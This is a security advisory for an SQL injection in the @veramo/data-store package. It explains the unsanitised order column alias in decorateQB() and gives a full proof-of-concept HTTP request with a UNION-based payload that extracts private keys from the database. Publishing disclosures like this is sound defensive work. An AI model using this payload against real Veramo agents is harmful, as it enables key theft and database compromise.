GHSA-38cw-85xc-xr9x: 
JavaScript vulnerability analysis and mitigation

Summary

An SQL injection vulnerability exists in the @veramo/data-store package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the column parameter in the order array of query requests.

Details

packages/data-store/src/data-store-orm.ts (lines 416-434) The vulnerability exists in the decorateQB() function which processes query ordering parameters:

function decorateQB(
  qb: SelectQueryBuilder<any>,
  tableName: string,
  input: FindArgs<any>,
): SelectQueryBuilder<any> {
  if (input?.skip) qb = qb.offset(input.skip)
  if (input?.take) qb = qb.limit(input.take)
  if (input?.order) {
    for (const item of input.order) {
      qb = qb.addSelect(
        qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column),
        item.column,
      )
      qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction)
    }
  }
  return qb
}

Root Cause:

1. The item.column value from user input is passed directly as the alias parameter to addSelect() without any sanitization or validation
2. While TypeScript defines allowed column types (e.g., TCredentialColumns = 'context' | 'type' | ...), this is only compile-time checking
3. At runtime, the function accepts FindArgs<any>, allowing arbitrary strings to bypass type restrictions
4. TypeORM inserts the alias directly into the SQL query, enabling SQL injection

Affected Endpoints: All endpoints are located in packages/data-store/src/data-store-orm.ts:

PoC

Prerequisites:

• A running Veramo agent with the REST API exposed (e.g., via @veramo/remote-server)
• Valid authentication credentials (Bearer token)

• The agent uses @veramo/data-store with a SQLite or compatible database

Example Exploit to Extract Private Keys From DB:

POST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1
Host: localhost:3332
Content-Length: 811
Authorization: Bearer test123
Content-Type: application/json
{ "where":[
    {
      "value": [
        "string"
      ],
      "not": true,
      "op": "foo",
"column":"bar"
    }
  ],
 
  "skip": 0,
  "take": 11111232323230,
"order": [
    {
      "direction": "ASC","column":"issuanceDate\" AS \"issuanceDate\" FROM \"claim\" \"claim\" LEFT JOIN \"identifier\" \"issuer\" ON \"issuer\".\"did\"=\"claim\".\"issuerDid\"  LEFT JOIN \"identifier\" \"subject\" ON \"subject\".\"did\"=\"claim\".\"subjectDid\"  LEFT JOIN \"credential\" \"credential\" ON \"credential\".\"hash\"=\"claim\".\"credentialHash\" where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object('alias', alias, 'type', type, 'privateKeyHex', privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -"
    }
  ]
}

similar exploit could be used against the other affected endpoints

Impact

Attack capabilities:

• Complete database read access
• Reading or write files into fs depending on dbms used
• Database-specific escalation paths
• Dos through timebased or multiple long running queries